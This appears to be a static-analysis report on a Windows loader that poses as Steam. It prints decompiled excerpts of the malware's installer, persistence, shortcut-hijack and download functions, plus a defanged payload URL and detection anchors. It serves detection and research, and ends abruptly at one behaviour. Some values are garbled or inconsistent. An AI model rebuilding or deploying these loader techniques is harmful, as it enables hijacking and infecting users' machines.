← Back to the case report · CORD Reports
Extended by a later full static re-analysis. CORD's pass below could not decode the download URL or read the ten RCDATA resources. The re-analysis did: the XOR-encoded URL is hxxps://koooolda[.]shop/43413, and resource 103 is the relay kit's client script, which POSTs DyNaM1c-prefixed actions (visit, doLogin, submitCode, checkConfirmations) XOR-encrypted with the affiliate cookie's secret. The program serves a local Steam sign-in UI over WebView2 to that kit.
report r20261028-1Summary
Static analysis · PE · 2026-10-29

Unattributed malicious

MaliciousRole: loaderFamily: not attributed

An 849 KB x64 PE built with Visual Studio 2019 (E15) that masquerades as a Steam client component (E16). It finds the Steam install directory through registry queries (B2, E2, E3), copies itself there (B5, E6), writes registry persistence (B3, E4) and hijacks shortcuts in six shell folders through IShellLink (B12, E14, E18). A Steam-looking lure window fires a timer that downloads a secondary payload (B1, B7, E1, E17). The installer first stops a service (B11, E13) and closes processes by name (B4, E5). Runtime strings are XOR-encoded (B9, E11). The operator gets a loader that replaces a legitimate application, persists, and fetches further stages while the victim keeps using Steam.

File
PE · 829 KB
nothing unpacked from it
Behaviours
12
12 reachable from the entry point
Code reached
56%
357 of 632 functions from the entry
Network
none in the IOC list
see the notable strings
Decoded strings
10
1 notable
Detection features
5
build scope
Open questions
2
reads the analysis attempted and stopped
sha256 3d2b12f8523f92e0e91f3041e2658b98ee07896c54043922ca73c7c17f19cdff
Read the full technical report → Every behaviour and indicator in detail, with the evidence, decoded strings, code and call graph.

How it runs

The behaviours as a flow, from the entry point: the checks that can end the run, then what it collects, then what it sends and what follows. Boxes follow the order of the analyst's account; a dashed box is code whose path from the entry is not proven. Static analysis: not an observed run.

StartProgram entryentry pointMainthe collectors below run from hereThen, in an order the analysis did not establishuac_elevationB10uac_elevationservice_stopB11service_stopprocess_enumeration_and_killB4process_enumeration_and_killsteam_path_resolutionB2steam_path_resolutionrecursive_file_searchB6recursive_file_searchSends, and what followsgui_lure_windowB7gui_lure_windowself_installB5self_installfile_replacementB8file_replacementregistry_persistenceB3registry_persistenceshortcut_hijackB12shortcut_hijackfile_downloadB1file_download

Throughout: xor_string_decode (B9).

What it does in the full report →

The CRT stub passes the module handle to WinMain (B7, E8). WinMain resolves CopyFileW and MoveFileW dynamically from kernel32, then calls the installer at 0x140007950 (B5, E6).

The installer checks for elevation through OpenProcessToken and GetTokenInformation (B10, E12). If not elevated it relaunches itself with the runas verb and exits. Elevated, it opens a service through OpenSCManager and sends a stop control (B11, E13), then walks a process snapshot, compares names and posts WM_CLOSE to matching windows (B4, E5). This clears the target application before it is overwritten.

The file-replace function at 0x140007680 deletes the original Steam executable and copies the sample over it with the dynamically resolved CopyFileW and MoveFileW (B8, E10). The persistence function at 0x140006d70 writes shell-open-command and uninstall keys under HKCU and HKLM, with XOR-decoded key names and a random sleep (B3, E4). A helper at 0x140005f00 reads the Steam path from HKLM SOFTWARE WOW6432Node and per-user uninstall keys (B2, E2, E3; I1).

The installer then searches six shell folders (Desktop, Start Menu, AppData and their common counterparts) recursively to depth 9, matching with PathMatchSpecW (B6, E7). The hijacker at 0x140007270 loads each .lnk through IShellLink, compares the target filename with wcsicoll and rewrites the target path, arguments and icon to the installed copy (B12, E14, E18). A helper at 0x140007150 normalizes the link extension (E20). Launching the copy from any shortcut gives the operator execution each time the victim starts Steam.

On success WinMain extracts the Steam icon with ExtractIconW, registers a window class and creates a 700x500 layered window (B7, E8). The lure parses URL navigation events and launches them with ShellExecuteW (E9). Its WndProc, at 0x140005ae0, sets timer 1; the WM_TIMER handler kills the timer and calls the download function at 0x140005750, which fetches a file to the temp directory with URLDownloadToFileW from an XOR-decoded URL (B1, E1, E17). WM_SIZE applies a 12 px rounded region (E17, E19).

Two decode mechanisms protect strings: a 0x5A5A word XOR for registry paths and a DWORD key at 0x14002a510 applied to a 560-byte block at 0x14002a2e0 (B9, E11).

Not recovered: the decoded download URL, file names, service name, process names, registry paths and shortcut wildcard, because the decode was only read statically (U1); the ten RCDATA resources (IDs 103-113, about 650 KB), which are data and text of entropy 4.67-6.07 (U4).

BehaviourFrom the entryATT&CKEvidence
file_downloadreachableT1105E1E17
steam_path_resolutionreachableT1012E2E3
registry_persistencereachableT1547.001 T1112E4
process_enumeration_and_killreachableT1057 T1489E5
self_installreachableT1547.001E6
recursive_file_searchreachableT1083E7
gui_lure_windowreachableT1204.002E8E9E17E19
file_replacementreachableT1547.001E10
xor_string_decodereachableT1140E11
uac_elevationreachableT1548.002E12
service_stopreachableT1489E13
shortcut_hijackreachableT1547.009E14E18E20

How much of the code was read functions →

The native call graph found 632 internal functions and reached 357 from entry. Dispatch resolution raised that to 390 (62%); the Ghidra graph agrees with the native one at 357. Of the 242 unreached functions, CRT and library code were filtered by Ghidra FID and capa library rules; 25 unresolved call sites remain in reached code, so the unreached set stays possibly reached.

What it talks to and touches in the full report →

Network values are defanged (hxxp, [.]); restore them before use. A dead drop sits on a public service: match the full URL, never block the domain. Host artefacts are files, paths and registry keys the sample targets or creates.

KindTypeRoleValueEvidence
host artefactregistry_keyotherSaianihttps://plau.cohttps://plau.coE2

Notable strings all 10 decoded strings →

Picked from the decoded strings by simple pattern rules. They show what the code refers to, not what it was seen doing.

Browser or app data\Valve\Steam

Verdict and detection opportunities all anchor details →

Malicious loader (E2, E6, E8, E11, E14, E17, E18), confidence 0.4. No family is assigned: nothing known matches the combination of a Steam-path lure window, shortcut hijack and XOR-decoded download, which agrees with the cluster label pe/unk.steamlure-28f2b618.

Strongest anchors: A3, the installer function, whose structure holds the elevation, service stop, process kill, file replacement and persistence logic (E6). A1, the Steam registry query sequence with XOR-decoded subkey in the function at 0x140006170, is the targeting mechanism and would need a rewrite to change (E2, E3). A2, the DWORD-block XOR with 0x5A5A tail, is distinctive and build-specific (E11). A4 (rich header, E15) and A5 (version info, E16) are metadata filters that change on recompile or edit.

Features a rule could match on, as proposed by the analysis. None is a rule until CORD Detection has measured it against clean software.

IDWhat to matchScopeScan typeHow stablePossible false matches
A1Steam registry query sequence in FUN_140006170 with XOR-decoded subkey followed by per-user uninstall lookupbuildrealtimebehavioural_template; The Steam registry check is the targeting mechanism and would require a rewrite to changeLegitimate Steam tools reading the same registry path; filter by caller context
A2XOR decode pattern: DWORD blocks from 0x14002a510 XORed against data blocks, followed by 0x5a5a short XOR tail loopbuildbatchconfig; The XOR key value is build-specific but the combined DWORD plus 0x5a5a pattern is distinctiveNone expected; combined key pattern is unusual
A3Installer function at 0x140007950 containing GetModuleFileNameW, Steam path resolution, SHCreateDirectoryExW, UAC elevation, service stop, process kill loop, file replacement and persistence setupbuildrealtimebehavioural_template; The function structure encodes the entire install logicNone expected
A4PE rich header with 12 entries and max build 34435buildbatchstructural_constant; Tied to this build's toolchain; changes on recompileOther VS2019 builds with the same tool versions; filter by other anchors
A5PE version info with 8 fields including a 95-char InternalNamebuildrealtimeconfig; Version info is easily changed but is a fast first filterOther samples using the same spoofed version info

Open questions in the full report →

  1. What are the XOR-decoded runtime strings (download URL, filenames, service name, process names, registry paths, shortcut wildcard)?
    Why it stopped: Decode request deferred to a helper unit; emulation needed
  2. What do the 10 RCDATA resources (IDs 103-113, 650 KB total) contain?
    Why it stopped: Resource decode request deferred; likely embedded web content for the GUI lure
Summary generated from report.json by render/cover.py. The lead is the analyst's summary; the section prose is the analyst's narrative with its references linked. Static analysis only: the sample was never executed. Network values are defanged.
Full technical report
CORD Research report r20261028-1

loader

sha2563d2b12f8523f92e0e91f3041e2658b98ee07896c54043922ca73c7c17f19cdff
not blind model claude-opus-4-6 · medium input 20.8M output ~131k time 39 min 43 s schema cord-research.report/1.5.0 source report.json
Originalloader0.4

Summary

An 849 KB x64 PE built with Visual Studio 2019 (E15) that masquerades as a Steam client component (E16). It finds the Steam install directory through registry queries (B2, E2, E3), copies itself there (B5, E6), writes registry persistence (B3, E4) and hijacks shortcuts in six shell folders through IShellLink (B12, E14, E18). A Steam-looking lure window fires a timer that downloads a secondary payload (B1, B7, E1, E17). The installer first stops a service (B11, E13) and closes processes by name (B4, E5). Runtime strings are XOR-encoded (B9, E11). The operator gets a loader that replaces a legitimate application, persists, and fetches further stages while the victim keeps using Steam.

Behaviour

The CRT stub passes the module handle to WinMain (B7, E8). WinMain resolves CopyFileW and MoveFileW dynamically from kernel32, then calls the installer at 0x140007950 (B5, E6).

The installer checks for elevation through OpenProcessToken and GetTokenInformation (B10, E12). If not elevated it relaunches itself with the runas verb and exits. Elevated, it opens a service through OpenSCManager and sends a stop control (B11, E13), then walks a process snapshot, compares names and posts WM_CLOSE to matching windows (B4, E5). This clears the target application before it is overwritten.

The file-replace function at 0x140007680 deletes the original Steam executable and copies the sample over it with the dynamically resolved CopyFileW and MoveFileW (B8, E10). The persistence function at 0x140006d70 writes shell-open-command and uninstall keys under HKCU and HKLM, with XOR-decoded key names and a random sleep (B3, E4). A helper at 0x140005f00 reads the Steam path from HKLM SOFTWARE WOW6432Node and per-user uninstall keys (B2, E2, E3; I1).

The installer then searches six shell folders (Desktop, Start Menu, AppData and their common counterparts) recursively to depth 9, matching with PathMatchSpecW (B6, E7). The hijacker at 0x140007270 loads each .lnk through IShellLink, compares the target filename with wcsicoll and rewrites the target path, arguments and icon to the installed copy (B12, E14, E18). A helper at 0x140007150 normalizes the link extension (E20). Launching the copy from any shortcut gives the operator execution each time the victim starts Steam.

On success WinMain extracts the Steam icon with ExtractIconW, registers a window class and creates a 700x500 layered window (B7, E8). The lure parses URL navigation events and launches them with ShellExecuteW (E9). Its WndProc, at 0x140005ae0, sets timer 1; the WM_TIMER handler kills the timer and calls the download function at 0x140005750, which fetches a file to the temp directory with URLDownloadToFileW from an XOR-decoded URL (B1, E1, E17). WM_SIZE applies a 12 px rounded region (E17, E19).

Two decode mechanisms protect strings: a 0x5A5A word XOR for registry paths and a DWORD key at 0x14002a510 applied to a 560-byte block at 0x14002a2e0 (B9, E11).

Not recovered: the decoded download URL, file names, service name, process names, registry paths and shortcut wildcard, because the decode was only read statically (U1); the ten RCDATA resources (IDs 103-113, about 650 KB), which are data and text of entropy 4.67-6.07 (U4).

Reach

The native call graph found 632 internal functions and reached 357 from entry. Dispatch resolution raised that to 390 (62%); the Ghidra graph agrees with the native one at 357. Of the 242 unreached functions, CRT and library code were filtered by Ghidra FID and capa library rules; 25 unresolved call sites remain in reached code, so the unreached set stays possibly reached.

Verdict and anchors

Malicious loader (E2, E6, E8, E11, E14, E17, E18), confidence 0.4. No family is assigned: nothing known matches the combination of a Steam-path lure window, shortcut hijack and XOR-decoded download, which agrees with the cluster label pe/unk.steamlure-28f2b618.

Strongest anchors: A3, the installer function, whose structure holds the elevation, service stop, process kill, file replacement and persistence logic (E6). A1, the Steam registry query sequence with XOR-decoded subkey in the function at 0x140006170, is the targeting mechanism and would need a rewrite to change (E2, E3). A2, the DWORD-block XOR with 0x5A5A tail, is distinctive and build-specific (E11). A4 (rich header, E15) and A5 (version info, E16) are metadata filters that change on recompile or edit.

Terms used in this report
Original file, unpacked file
The original file is the sample as collected. An unpacked file is one the analysis extracted or decoded from it, numbered in order (in report.json: L0, L1, L2…).
Reachable from the entry point
The static call graph shows a path from where the program starts to this code. It does not mean the code was seen running.
Code present, path not proven
The code is in the file, but the analysis could not prove a route to it, usually because of indirect calls or jump tables.
B, E, A, U, D numbers
Behaviours, evidence items, detection anchors, open questions (unknowns) and derived files (such as decoded strings). Every claim cites the evidence items it rests on.
API hashing
Looking up Windows functions at run time by a hash of their name, so the names never appear in the file.
MBA
Mixed boolean-arithmetic: computing a simple constant through a tangle of AND, OR, XOR and arithmetic.
ATT&CK, MBC
Public catalogues of attacker techniques (MITRE ATT&CK) and malware behaviours (MBC).
IOC
Indicator of compromise: a value, such as a domain or file name, that shows up on an infected host or network.

Behaviours at a glance

Sample and layers

gated no
idsizeverdictsha256format
Original8488963d2b12f8…7f19cdffPE

Verdict

What the analysis concludes the sample is, how confident it is, and the evidence that conclusion rests on.

Original

loader

confidence 0.4
classification
malicious
role
loader
why
cluster label unk.steamlure; no known family matches the combination of Steam-path lure window, shortcut hijack and XOR-decoded download
evidence
E2, E6, E8, E11, E14

What it does 12

Each behaviour the analysis found, with the techniques it maps to and whether the code is reachable from where the program starts. Open "Show the evidence" to see what each claim rests on, with code previews; full functions are under Code.

B1

file_download

T1105file Originalreachability reachable from the entry point
MBC
none
functions
0x1400057500x140005ae0
Show the evidence · 2 items: E1, E17
E1
read from the file·function

Downloads a file via URLDownloadToFileW to temp directory from a XOR-decoded URL

downloads a file from a XOR-decoded URL… · decompiled C, first 30 lines
/* WARNING: Function: __security_check_cookie replaced with injection: security_check_cookie */
/* WARNING: Globals starting with '_' overlap smaller symbols at the same address */

void FUN_140005750(void)

{
  bool bVar1;
  bool bVar2;
  int iVar3;
  DWORD DVar4;
  HRESULT HVar5;
  BOOL BVar6;
  undefined8 uVar7;
  longlong *plVar8;
  undefined1 auStackY_4e8 [32];
  short *local_4b8;
  short *local_4b0;
  SHELLEXECUTEINFOW local_4a8;
  uint local_438;
  uint uStack_434;
  uint uStack_430;
  uint uStack_42c;
  uint local_428;
  uint uStack_424;
  uint uStack_420;
  uint uStack_41c;
  uint local_418;
  uint uStack_414;
  uint uStack_410;
/* … 118 more lines */
Full function, callers and assembly →
E17
read from the file·function

WndProc handles WM_TIMER id 1 by killing the timer and calling the downloader at 0x140005750; handles WM_DESTROY with COM release and PostQuitMessage; handles WM_SIZE with rounded-region resize

wndProc · decompiled C, first 30 lines
/* WARNING: Function: __security_check_cookie replaced with injection: security_check_cookie */

void FUN_140005ae0(HWND param_1,UINT param_2,WPARAM param_3,LPARAM param_4)

{
  undefined1 auStack_58 [32];
  LONG local_38;
  LONG LStack_34;
  LONG LStack_30;
  LONG LStack_2c;
  tagRECT local_28;
  ulonglong local_18;
  
  local_18 = DAT_14002e040 ^ (ulonglong)auStack_58;
  if (param_2 == 2) {
    if (DAT_14002ffd0 != (longlong *)0x0) {
      (**(code **)(*DAT_14002ffd0 + 0x10))();
      DAT_14002ffd0 = (longlong *)0x0;
    }
    if (DAT_14002ffa8 != (longlong *)0x0) {
      (**(code **)(*DAT_14002ffa8 + 0x10))();
      DAT_14002ffa8 = (longlong *)0x0;
    }
    if (DAT_14002ffd8 != (longlong *)0x0) {
      (**(code **)(*DAT_14002ffd8 + 0x10))();
      DAT_14002ffd8 = (longlong *)0x0;
    }
    if (DAT_14002ffb0 != (LPVOID)0x0) {
      FUN_1400112a8(DAT_14002ffb0);
/* … 26 more lines */
Full function, callers and assembly →
B2

steam_path_resolution

T1012file Originalreachability reachable from the entry point
MBC
none
functions
0x1400061700x140005f00
Show the evidence · 2 items: E2, E3
E2
read from the file·function

Queries Steam install path from HKLM\SOFTWARE\WOW6432Node\Valve\Steam and per-user uninstall keys

resolves the Steam install path by… · decompiled C, first 30 lines
/* WARNING: Function: __security_check_cookie replaced with injection: security_check_cookie */
/* WARNING: Globals starting with '_' overlap smaller symbols at the same address */

void FUN_140006170(LPWSTR param_1)

{
  LSTATUS LVar1;
  DWORD DVar2;
  int iVar3;
  undefined1 (*pauVar4) [16];
  ulonglong uVar5;
  undefined **ppuVar6;
  undefined **ppuVar7;
  undefined1 auStackY_908 [32];
  DWORD local_8d8 [2];
  HKEY local_8d0;
  uint local_8c8;
  uint uStack_8c4;
  uint uStack_8c0;
  uint uStack_8bc;
  uint local_8b8;
  uint uStack_8b4;
  uint uStack_8b0;
  uint uStack_8ac;
  ushort auStack_8a8 [4];
  undefined2 local_8a0;
  WCHAR local_868 [264];
  WCHAR local_658 [264];
  WCHAR local_448 [264];
/* … 80 more lines */
Full function, callers and assembly →
E3
read from the file·function

Opens per-user uninstall registry keys with RegOpenKeyExW and reads the install path with RegQueryValueExW

reads per-user uninstall registry… · decompiled C, first 30 lines
/* WARNING: Function: __security_check_cookie replaced with injection: security_check_cookie */

void FUN_140005f00(HKEY param_1,LPCWSTR param_2,LPWSTR param_3)

{
  LSTATUS LVar1;
  WCHAR *pWVar2;
  undefined1 auStackY_268 [32];
  DWORD local_238;
  DWORD local_234;
  HKEY local_230;
  WCHAR local_228 [264];
  ulonglong local_18;
  
  local_18 = DAT_14002e040 ^ (ulonglong)auStackY_268;
  LVar1 = RegOpenKeyExW(param_1,param_2,0,0x20019,&local_230);
  if (LVar1 == 0) {
    local_238 = 0x208;
    local_234 = 0;
    LVar1 = RegQueryValueExW(local_230,L"SteamExe",(LPDWORD)0x0,&local_234,(LPBYTE)local_228,
                             &local_238);
    if (((LVar1 != 0) || (local_234 != 1)) || (local_228[0] == L'\0')) {
      local_238 = 0x208;
      LVar1 = RegQueryValueExW(local_230,L"SteamPath",(LPDWORD)0x0,&local_234,(LPBYTE)local_228,
                               &local_238);
      if ((LVar1 != 0) || (local_228[0] == L'\0')) {
        RegCloseKey(local_230);
      }
      pWVar2 = local_228;
/* … 14 more lines */
Full function, callers and assembly →
B3

registry_persistence

T1547.001T1112file Originalreachability reachable from the entry point
MBC
none
functions
0x140006d700x1400069500x140006bb0
Show the evidence · 1 item: E4
E4
read from the file·function

Creates registry persistence entries under HKCU and HKLM with XOR-decoded key names and random sleep

sets up registry persistence under HKCU… · decompiled C, first 30 lines
/* WARNING: Function: __security_check_cookie replaced with injection: security_check_cookie */
/* WARNING: Globals starting with '_' overlap smaller symbols at the same address */

void FUN_140006d70(wchar_t *param_1,BYTE *param_2,BYTE *param_3)

{
  wchar_t *pwVar1;
  longlong lVar2;
  DWORD DVar3;
  DWORD DVar4;
  int iVar5;
  LSTATUS LVar6;
  wchar_t *pwVar7;
  longlong lVar8;
  ulonglong uVar9;
  longlong lVar10;
  undefined1 auStackY_528 [32];
  HKEY local_4d8 [2];
  uint local_4c8;
  uint uStack_4c4;
  uint uStack_4c0;
  uint uStack_4bc;
  uint local_4b8;
  uint uStack_4b4;
  uint uStack_4b0;
  uint uStack_4ac;
  ushort auStack_4a8 [4];
  undefined2 local_4a0;
  wchar_t local_468 [264];
/* … 94 more lines */
Full function, callers and assembly →
B4

process_enumeration_and_kill

T1057T1489file Originalreachability reachable from the entry point
MBC
none
functions
0x1400064c00x140006770
Show the evidence · 1 item: E5
E5
read from the file·function

Enumerates running processes with CreateToolhelp32Snapshot and sends WM_CLOSE via PostMessageW to matches

enumerates processes via… · decompiled C, first 30 lines
/* WARNING: Function: __security_check_cookie replaced with injection: security_check_cookie */

void FUN_1400064c0(int param_1,undefined4 *param_2)

{
  int iVar1;
  DWORD DVar2;
  HANDLE hObject;
  HWND hWnd;
  undefined4 uVar3;
  undefined1 auStack_298 [32];
  DWORD local_278 [4];
  undefined4 local_268;
  undefined1 local_264 [4];
  DWORD local_260;
  wchar_t local_23c [266];
  ulonglong local_28;
  
  local_28 = DAT_14002e040 ^ (ulonglong)auStack_298;
  uVar3 = 0;
  hObject = (HANDLE)CreateToolhelp32Snapshot(2);
  if (hObject == (HANDLE)0xffffffffffffffff) {
    if (param_2 != (undefined4 *)0x0) {
      *param_2 = 0;
    }
  }
  else {
    FUN_14001db40((undefined1 (*) [32])local_264,0,0x234);
    local_268 = 0x238;
/* … 49 more lines */
Full function, callers and assembly →
B5

self_install

T1547.001file Originalreachability reachable from the entry point
MBC
none
functions
0x140007950
Show the evidence · 1 item: E6
E6
read from the file·function

Main installer: copies self to Steam directory, elevates via UAC, stops service, kills processes, replaces files

the main installer · decompiled C, first 30 lines
/* WARNING: Function: __chkstk replaced with injection: alloca_probe */
/* WARNING: Function: __security_check_cookie replaced with injection: security_check_cookie */
/* WARNING: Globals starting with '_' overlap smaller symbols at the same address */

void FUN_140007950(void)

{
  wchar_t *pwVar1;
  bool bVar2;
  int iVar3;
  DWORD DVar4;
  BOOL BVar5;
  DWORD DVar6;
  int iVar7;
  int iVar8;
  longlong lVar9;
  longlong lVar10;
  undefined7 extraout_var;
  undefined7 extraout_var_00;
  HANDLE pvVar11;
  SC_HANDLE hSCManager;
  SC_HANDLE hService;
  wchar_t *pwVar12;
  uint uVar13;
  ulonglong uVar14;
  ulonglong uVar15;
  undefined1 auStackY_1458 [32];
  _SERVICE_STATUS local_1418;
  _WIN32_FIND_DATAW local_13f8;
/* … 276 more lines */
Full function, callers and assembly →
B6

recursive_file_search

T1083file Originalreachability reachable from the entry point
MBC
E1083
functions
0x140007520
Show the evidence · 1 item: E7
E7
read from the file·function

Recursively searches directories to depth 9 matching files with PathMatchSpecW

recursively searches directories to… · decompiled C, first 30 lines
/* WARNING: Function: __security_check_cookie replaced with injection: security_check_cookie */

void FUN_140007520(short *param_1,undefined8 param_2,undefined8 param_3,undefined8 param_4,
                  int param_5)

{
  BOOL BVar1;
  HANDLE hFindFile;
  undefined1 auStackY_6e8 [32];
  _WIN32_FIND_DATAW local_6b8;
  short local_468 [264];
  WCHAR local_258 [264];
  ulonglong local_48;
  
  local_48 = DAT_14002e040 ^ (ulonglong)auStackY_6e8;
  if (((param_5 < 9) && (param_1 != (short *)0x0)) && (*param_1 != 0)) {
    FUN_140003f60(local_258,0x104,0x140029fd8,param_1);
    hFindFile = FindFirstFileW(local_258,&local_6b8);
    if (hFindFile != (HANDLE)0xffffffffffffffff) {
      do {
        if (local_6b8.cFileName[0] != L'.') {
          FUN_140003f60(local_468,0x104,0x140029fe8,param_1);
          if (((byte)local_6b8.dwFileAttributes & 0x10) == 0) {
            BVar1 = PathMatchSpecW(local_6b8.cFileName,L"*.lnk");
            if (BVar1 != 0) {
              FUN_140007270(local_468,param_2,param_3,param_4);
            }
          }
          else {
/* … 10 more lines */
Full function, callers and assembly →
B7

gui_lure_window

T1204.002file Originalreachability reachable from the entry point
MBC
none
functions
0x1400086500x140004c500x140005ae00x140005a60
Show the evidence · 4 items: E8, E9, E17, E19
E8
read from the file·function

WinMain creates a 700x500 layered window with Steam icon via ExtractIconW and enters the message pump

winMain · decompiled C, first 30 lines
/* WARNING: Function: __security_check_cookie replaced with injection: security_check_cookie */

void FUN_140008650(HINSTANCE param_1)

{
  int iVar1;
  DWORD DVar2;
  int iVar3;
  HMODULE hModule;
  HCURSOR pHVar4;
  HICON pHVar5;
  undefined1 auStackY_338 [32];
  undefined4 local_2d8 [4];
  WNDCLASSEXW local_2c8;
  tagMSG local_278;
  undefined4 local_248;
  undefined4 local_244;
  undefined2 local_240;
  WCHAR local_228 [264];
  ulonglong local_18;
  
  local_18 = DAT_14002e040 ^ (ulonglong)auStackY_338;
  SetProcessDPIAware();
  CoInitializeEx((LPVOID)0x0,2);
  DAT_14002ffb8 = (FARPROC)0x0;
  DAT_14002ffc0 = (FARPROC)0x0;
  hModule = GetModuleHandleW(L"kernel32.dll");
  if (hModule != (HMODULE)0x0) {
    local_248 = 0x79706f43;
/* … 69 more lines */
Full function, callers and assembly →
E9
read from the file·function

Parses URL navigation events from the lure window and launches them with ShellExecuteW

handles URL navigation events from the… · decompiled C, first 30 lines
/* WARNING: Function: __security_check_cookie replaced with injection: security_check_cookie */

void FUN_140004c50(undefined8 param_1,undefined8 param_2,longlong *param_3)

{
  int iVar1;
  undefined1 (*pauVar2) [16];
  undefined1 (*pauVar3) [16];
  ushort *puVar4;
  ushort *puVar5;
  undefined1 auStackY_458 [32];
  undefined1 (*local_428 [2]) [16];
  WCHAR local_418 [512];
  ulonglong local_18;
  
  local_18 = DAT_14002e040 ^ (ulonglong)auStackY_458;
  local_428[0] = (undefined1 (*) [16])0x0;
  iVar1 = (**(code **)(*param_3 + 0x28))(param_3,local_428);
  pauVar3 = local_428[0];
  if (iVar1 < 0) {
  }
  if (local_428[0] != (undefined1 (*) [16])0x0) {
    pauVar2 = FUN_140009ae0(local_428[0],(undefined1 (*) [16])L"\"close\"");
    if (pauVar2 == (undefined1 (*) [16])0x0) {
      pauVar2 = FUN_140009ae0(pauVar3,(undefined1 (*) [16])L"\"drag\"");
      if (pauVar2 == (undefined1 (*) [16])0x0) {
        pauVar2 = FUN_140009ae0(pauVar3,(undefined1 (*) [16])L"\"openurl\"");
        if ((((pauVar2 != (undefined1 (*) [16])0x0) &&
             (pauVar3 = FUN_140009ae0(pauVar3,(undefined1 (*) [16])L"\"url\""),
/* … 20 more lines */
Full function, callers and assembly →
E17
read from the file·function

WndProc handles WM_TIMER id 1 by killing the timer and calling the downloader at 0x140005750; handles WM_DESTROY with COM release and PostQuitMessage; handles WM_SIZE with rounded-region resize

wndProc · decompiled C, first 30 lines
/* WARNING: Function: __security_check_cookie replaced with injection: security_check_cookie */

void FUN_140005ae0(HWND param_1,UINT param_2,WPARAM param_3,LPARAM param_4)

{
  undefined1 auStack_58 [32];
  LONG local_38;
  LONG LStack_34;
  LONG LStack_30;
  LONG LStack_2c;
  tagRECT local_28;
  ulonglong local_18;
  
  local_18 = DAT_14002e040 ^ (ulonglong)auStack_58;
  if (param_2 == 2) {
    if (DAT_14002ffd0 != (longlong *)0x0) {
      (**(code **)(*DAT_14002ffd0 + 0x10))();
      DAT_14002ffd0 = (longlong *)0x0;
    }
    if (DAT_14002ffa8 != (longlong *)0x0) {
      (**(code **)(*DAT_14002ffa8 + 0x10))();
      DAT_14002ffa8 = (longlong *)0x0;
    }
    if (DAT_14002ffd8 != (longlong *)0x0) {
      (**(code **)(*DAT_14002ffd8 + 0x10))();
      DAT_14002ffd8 = (longlong *)0x0;
    }
    if (DAT_14002ffb0 != (LPVOID)0x0) {
      FUN_1400112a8(DAT_14002ffb0);
/* … 26 more lines */
Full function, callers and assembly →
E19
read from the file·function

Creates a rounded rectangle window region with 12px corner radius via CreateRoundRectRgn and SetWindowRgn

creates rounded rectangle window region… · decompiled C, first 30 lines
/* WARNING: Function: __security_check_cookie replaced with injection: security_check_cookie */

void FUN_140005a60(HWND param_1)

{
  HRGN hRgn;
  undefined1 auStackY_58 [32];
  tagRECT local_28;
  ulonglong local_18;
  
  local_18 = DAT_14002e040 ^ (ulonglong)auStackY_58;
  GetWindowRect(param_1,&local_28);
  hRgn = CreateRoundRectRgn(0,0,(local_28.right - local_28.left) + 1,
                            (local_28.bottom - local_28.top) + 1,0xc,0xc);
  SetWindowRgn(param_1,hRgn,1);
}

Full function, callers and assembly →
B8

file_replacement

T1547.001file Originalreachability reachable from the entry point
MBC
none
functions
0x140007680
Show the evidence · 1 item: E10
E10
read from the file·function

Replaces target files using dynamically resolved CopyFileW and MoveFileW with prior deletion

replaces files using dynamically… · decompiled C, first 30 lines
/* WARNING: Function: __security_check_cookie replaced with injection: security_check_cookie */

void FUN_140007680(LPCWSTR param_1,LPCWSTR param_2,undefined8 param_3)

{
  DWORD DVar1;
  int iVar2;
  DWORD DVar3;
  BOOL BVar4;
  undefined8 uVar5;
  longlong lVar6;
  undefined1 auStack_6b8 [32];
  wchar_t *local_698;
  wchar_t *local_688 [4];
  WCHAR local_668 [264];
  WCHAR local_458 [264];
  WCHAR local_248 [264];
  ulonglong local_38;
  
  local_38 = DAT_14002e040 ^ (ulonglong)auStack_6b8;
  if ((((param_2 != (LPCWSTR)0x0) && (*param_2 != L'\0')) &&
      (uVar5 = param_3, DVar1 = GetFileAttributesW(param_2), DVar1 != 0xffffffff)) &&
     (iVar2 = FUN_140005d10(param_1,param_2,(DWORD)uVar5), iVar2 != 0)) {
  }
  if (DAT_14002ffb8 == 0) {
  }
  if (DAT_14002ffc0 != (code *)0x0) {
    local_688[0] = L"steam.orig.exe";
    lVar6 = 0;
/* … 49 more lines */
Full function, callers and assembly →
B9

xor_string_decode

T1140file Originalreachability reachable from the entry point
MBC
C0031.001
functions
0x1400057500x140006d700x140006170
Show the evidence · 1 item: E11
E11
read from the file·address range
0x14002a2e0

XOR decode uses a DWORD key at DAT_14002a510 applied against a 560-byte data block starting at 0x14002a2e0 with a 0x5a5a short-XOR tail

Bytes · 560 at 0x14002a2e0
14002a2e0  32 5a 2e 5a 2e 5a 2a 5a 29 5a 60 5a 75 5a 75 5a  2Z.Z.Z*Z)Z`ZuZuZ
14002a2f0  3d 5a 35 5a 74 5a 37 5a 33 5a 39 5a 28 5a 35 5a  =Z5ZtZ7Z3Z9Z(Z5Z
14002a300  29 5a 35 5a 3c 5a 2e 5a 74 5a 39 5a 35 5a 37 5a  )Z5Z<Z.ZtZ9Z5Z7Z
14002a310  75 5a 3c 5a 2d 5a 36 5a 33 5a 34 5a 31 5a 75 5a  uZ<Z-Z6Z3Z4Z1ZuZ
14002a320  2a 5a 75 5a 65 5a 16 5a 33 5a 34 5a 31 5a 13 5a  *ZuZeZ.Z3Z4Z1Z.Z
14002a330  3e 5a 67 5a 68 5a 6b 5a 68 5a 6e 5a 6d 5a 6a 5a  >ZgZhZkZhZnZmZjZ
14002a340  69 5a 00 00 00 00 00 00 00 00 00 00 00 00 00 00  iZ..............
14002a350  d0 9a 02 40 01 00 00 00 18 9b 02 40 01 00 00 00  ...@.......@....
… cut at 128 of 560 bytes
B10

uac_elevation

T1548.002file Originalreachability reachable from the entry point
MBC
none
functions
0x1400079500x140005e80
Show the evidence · 1 item: E12
E12
read from the file·function

Checks admin privileges via OpenProcessToken and GetTokenInformation for TokenElevation

checks admin privileges via… · decompiled C, first 30 lines
undefined4 FUN_140005e80(void)

{
  BOOL BVar1;
  HANDLE ProcessHandle;
  undefined4 uVar2;
  DWORD local_res8 [2];
  int local_res10 [2];
  HANDLE local_res18 [2];
  
  uVar2 = 0;
  local_res18[0] = (HANDLE)0x0;
  ProcessHandle = GetCurrentProcess();
  BVar1 = OpenProcessToken(ProcessHandle,8,local_res18);
  if (BVar1 == 0) {
    return 0;
  }
  local_res8[0] = 4;
  BVar1 = GetTokenInformation(local_res18[0],TokenElevation,local_res10,4,local_res8);
  if ((BVar1 != 0) && (local_res10[0] != 0)) {
    uVar2 = 1;
  }
  CloseHandle(local_res18[0]);
  return uVar2;
}

Full function, callers and assembly →
B11

service_stop

T1489file Originalreachability reachable from the entry point
MBC
none
functions
0x140007950
Show the evidence · 1 item: E13
